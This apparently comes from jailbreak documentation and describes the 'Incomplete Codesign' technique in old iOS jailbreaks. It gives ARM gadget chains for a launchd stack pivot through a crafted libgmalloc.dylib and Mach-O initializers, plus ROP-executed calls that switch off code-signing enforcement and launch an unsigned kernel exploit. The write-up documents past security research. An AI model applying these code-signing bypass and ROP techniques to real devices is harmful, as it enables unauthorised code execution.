Incomplete Codesign Exploit

Incomplete Codesign is a technique introduced by Comex in the Spirit jailbreak that allows untethered userland code execution. The idea is to plant a crafted Mach-O binary on the filesystem and have it loaded early during the boot process. This technique must be used in conjunction with another exploit to first plant the binary on the filesystem (like the MobileBackup Copy Exploit used in Spirit, or one of the DFU mode exploits Pwnage 2.0/Steaks4uce/Limera1n). Since executable pages must be signed, the crafted binary will have to abuse the loader or the dynamic linker functionalities to transfer execution to a ROP payload that will use existing (signed) code fragments (gadgets). The endgame is to have the userland code trigger and exploit a kernel vulnerability to achieve the jailbroken state.

Credit

Comex

Interposition exploit (Spirit & Star)

The first technique used in the Spirit and Star jailbreaks involves loading a custom shared library (dylib) in the first userland process (launchd). The library is loaded using the launchd libgmalloc debugging feature that can be enabled by creating the /var/db/.launchd_use_gmalloc file.

 
if (pid1_magic && g_use_gmalloc) {
    if (!getenv("DYLD_INSERT_LIBRARIES")) {
        setenv("DYLD_INSERT_LIBRARIES", "/usr/lib/libgmalloc.dylib", 1);
        setenv("MALLOC_STRICT_SIZE", "1", 1);
        execv(argv[0], argv);
    } else {
        unsetenv("DYLD_INSERT_LIBRARIES");	//this call is hijacked through interposition
        unsetenv("MALLOC_STRICT_SIZE");
        }
}

The crafted libgmalloc.dylib does not contains any executable segments, but instead uses the dyld interposition feature to redirect several exported functions to code fragments in the launchd binary. The interposed functions and their replacement addresses are chosen to force launchd to perform a stack pivot, and have SP pointing to a data segment in the shared library, allowing ROP code execution. The following functions are interposed to allow the stack pivot : _unsetenv, _launch_data_new_errno, _setrlimit, __exit, _audit_token_to_au32, _launch_data_unpack, _launch_data_dict_iterate (a few other functions are also interposed to create some gadgets used by the ROP payload). Once launchd has restarted itself with the crafted libgmalloc.dylib, the unsetenv function call will execute the following "interposition gadgets" :

LDR     R0, =aDyld_insert_li ; "DYLD_INSERT_LIBRARIES"
BL      _unsetenv
LDR     R0, [R0]			#R0 = 0x444c5944 = "DLYD" = little endian "DYLD" 
BL      _launch_data_new_errno
MOV     R0, R0, LSR#2			#R0 = R0 / 4	
BL      _setrlimit
ADD     R0, R0, #3			#R0 = R0 + 3
BL      __exit
LDMIA   R0, {R0-R3}			#R0 = 0x11131654 (__heap section in libgmalloc.dylib =[0,0, 0x1113000C, STACK_PIVOT_GADGET)
BL      _audit_token_to_au32
STR     R2, [SP+4]			#R2 = 0x1113000C
BL      _launch_data_unpack
STR     R3, [SP+8]			#R3 = STACK_PIVOT_GADGET 
BL      _launch_data_dict_iterate
LDMFD   SP!, {R4,R7,PC}		        #=> R7 = 0x1113000C, PC = STACK_PIVOT_GADGET

STACK_PIVOT_GADGET:
SUB     SP, R7, #0xC			#SP = 0x11130000 (start of ROP stack in __heap section)
LDMFD   SP!, {R4-R7,PC}		        #ROP starts here

The ROP payloads in Spirit and Star exploit respectively the BPF and IOSurface kernel vulnerabilities in order to patch the kernel, and then restart launchd to continue the normal boot process.

In iOS 4.1, dyld does a range check on the interposition targets to make sure that a dylib only redirects symbols to its own code segments, preventing the use of this feature to control code flow (since we cannot have executable code segments without a valid signature).

Initializers exploit (Packet Filter/HFS Legacy Volume Name)

For the iOS 4.1 Packet Filter Kernel Exploit, comex introduced another technique to get code execution, still using libgmalloc.dylib but in a less convoluted manner. A Mach-O binary can declare an initializers section holding function pointers to be called upon loading (just like the ELF constructors section). This feature allows immediate control of the instruction pointer. Initializers calls are made in ImageLoaderMachO::doModInitFunctions() (note that the iOS version of dyld is slightly different than the open-source version). The following code shows this function on iOS 4.1 :

__text:2FE0BFE6                 LDR.W           R6, [R11,R5,LSL#2]  ; Initializer func = inits[i];
__text:2FE0BFEA                 CBZ             R3, loc_2FE0BFFA
__text:2FE0BFEC                 LDR             R3, [SP,#0x30+var_2C]
__text:2FE0BFEE                 LDR             R0, =(aDyldCallingIni - 0x2FE0BFF6)
__text:2FE0BFF0                 MOV             R1, R6
__text:2FE0BFF2                 ADD             R0, PC  ; "dyld: calling initializer function %p i"...
__text:2FE0BFF4                 LDR             R2, [R3,#4]
__text:2FE0BFF6                 BL              __ZN4dyld3logEPKcz ; dyld::log(char  const*,...)
__text:2FE0BFFA
__text:2FE0BFFA loc_2FE0BFFA
__text:2FE0BFFA                 ADD.W           R12, R4, #0x58
__text:2FE0BFFE                 LDR             R0, [R4,#0x44]
__text:2FE0C000                 LDR             R1, [R4,#0x48]
__text:2FE0C002                 LDR             R2, [R4,#0x4C]
__text:2FE0C004                 LDR             R3, [R4,#0x50]
__text:2FE0C006                 STR.W           R12, [SP]
__text:2FE0C00A                 BLX             R6  ; func(context.argc, context.argv, context.envp, context.apple, &context.programVars)

Since R11 points to the start of the section containing the initializers function pointers (inits), comex uses the following uncommon gadget to perform the stack pivot :

0x499ba000        LDMIBMI R11, {SP, PC}	#increments R11 by 4, then pops SP and PC

Unlike Spirit's and Star's kernel exploits, the Packet Filter Kernel Exploit is not done in the ROP payload. Instead, the ROP payload is shorter and performs the following calls to run the exploit in an unsigned binary :

int zero = 0;
char *params[] = {"/usr/lib/pf2", NULL};
char *env[] = {NULL};
/* these 3 function calls are done as ROP */
sysctlbyname("security.mac.proc_enforce", NULL, 0, &zero, sizeof(zero));   
sysctlbyname("security.mac.vnode_enforce", NULL, 0, &zero, sizeof(zero));   
execve("/usr/lib/pf2", params, env);

Setting the security.mac.proc_enforce and security.mac.vnode_enforce variables to 0 allows running unsigned binaries, with some side effects (see [1]). The vnode_enforce is reset to 0 as soon as the kernel exploit completes. In iOS 4.3 beta, those variables are now read only.

Starting with iOS 4.2.1, dyld does a range check on the initializers so that the previous trick does not work (look for the "dyld: ignoring out of bounds initializer function %p in %s" string). However, for some unknown reason this check is only made if ImageLoaderMachO::isDylib() returns true. Hence, in Greenpois0n RC5, a crafted executable with an initializers section was used to replace the launchd binary and kickstart pod2g's HFS Legacy Volume Name Stack Buffer Overflow kernel exploit. The original launchd binary is renamed to punchd and is run as soon as the kernel exploit is done.

In iOS 4.2.1 dyld the inits pointer is not stored in R11 anymore but at [SP+4] :

__text:2FE0C03C loc_2FE0C03C
__text:2FE0C03C                 LDR             R3, [SP,#4]
__text:2FE0C03E                 MOV             R0, R6
__text:2FE0C040                 LDR.W           R4, [R3,R8,LSL#2] ;Initializer func = inits[i];
__text:2FE0C044                 LDR             R3, [R6]
__text:2FE0C046                 LDR             R3, [R3,#0x78]
__text:2FE0C048                 BLX             R3	; ImageLoaderMachO::isDylib(void)
__text:2FE0C04A                 CMP             R0, #0
__text:2FE0C04C                 BEQ             loc_2FE0C0EE ;bypass range check

...

__text:2FE0C088 loc_2FE0C088
__text:2FE0C088                 ADD.W           R12, R5, #0x5C
__text:2FE0C08C                 LDR             R0, [R5,#0x48]
__text:2FE0C08E                 LDR             R1, [R5,#0x4C]
__text:2FE0C090                 LDR             R2, [R5,#0x50]
__text:2FE0C092                 LDR             R3, [R5,#0x54]
__text:2FE0C094                 STR.W           R12, [SP] ; &context.programVars->mh
__text:2FE0C098                 BLX             R4 ; func(context.argc, context.argv, context.envp, context.apple, &context.programVars)

The stack pivot is done using two initializers :

POP {R6,R7} ; BX LR             #R6=&context.programVars->mh, R7=inits
SUB SP, R7, #0 ; POP {R7,PC}    #do the stack pivot

Since the first initializer clobbers R6 and shuffles the local variables by incrementing SP by 8, some conditions must be met for dyld to reach the second initializer call without crashing :

• the second initializer pointer has to be stored at offset 0x1004 (segPreferredLoadAddress(0) + 4)
• a pointer to a return 0 gadget must be present at offset 0x78 in the Mach-O file (context.programVars->mh[0x78])

Sources for information

• https://github.com/comex/spirit/blob/master/igor/one.py
• https://github.com/comex/spirit/blob/master/igor/configdata.py
• http://books.google.fr/books?id=K8vUkpOXhN4C&lpg=PA73&ots=OJqiYTUwVD&dq=dyld%20interpose&pg=PA73#v=onepage&q&f=false
• http://launchd.macosforge.org/trac/browser/trunk/launchd/src/launchd.c
• http://blogs.embarcadero.com/eboling/2010/01/29/5639/
• http://opensource.apple.com/source/dyld/dyld-132.13/src/ImageLoaderMachO.cpp
• https://github.com/comex/starn/blob/43989121a0f74639cf8cc3aa57514e6ef0c97dbd/goo/one.py
• https://github.com/comex/starn/blob/43989121a0f74639cf8cc3aa57514e6ef0c97dbd/config/configdata.py